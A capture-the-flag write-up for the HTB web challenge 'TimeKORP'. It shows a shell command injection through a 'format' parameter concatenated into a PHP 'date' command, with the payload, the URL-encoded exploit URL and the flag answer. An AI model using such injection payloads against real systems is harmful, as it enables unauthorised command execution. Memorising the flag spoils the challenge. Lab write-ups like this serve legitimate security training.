TimeKORP

- attachments
  - `web_timekorp.zip`

solution

Go to `http://94.237.55.185:45222/?format=%27;%20echo%20$(cat%20../flag)%20%27` in your browser, replacing the hostname with your own one. The flag will be shown clearly on the webpage. The flag is `HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}`.

process

If you look at the webpage, it seems to be a website displaying the current time.

Since they have provided the source, it is best that we look into the source first. The flag location is apparent from the provided source.

Eventually, you will come across this suspicious code in `web_timekorp/challenge/models/TimeModel.php`:

```
$this->command = "date '+" . $format . "' 2>&1";
```

One can guess that the string will be run in a shell. Then, clearly we need to do shell injection by selecting `$format` correctly:

```
date '$format' 2>&1
```

After some time, you can derive some shell code that reads the flag file by letting `$format` be `'; echo $(cat ../flag) '`:

```
date ''; echo $(cat ../flag) '' 2>&1
```

This will ignore the `date` command output, read the flag file and send it to stdout, which will then be shown on the webpage.

Last thing is that we need to URL encode the payload correctly to get the following URL: `http://94.237.55.185:45222/?format=%27;%20echo%20$(cat%20../flag)%20%27`. Your hostname may be different.

Go to the URL in the browser and you should see the flag shown very clearly in the text: `It's HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}.`

Finally, the flag is `HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}`.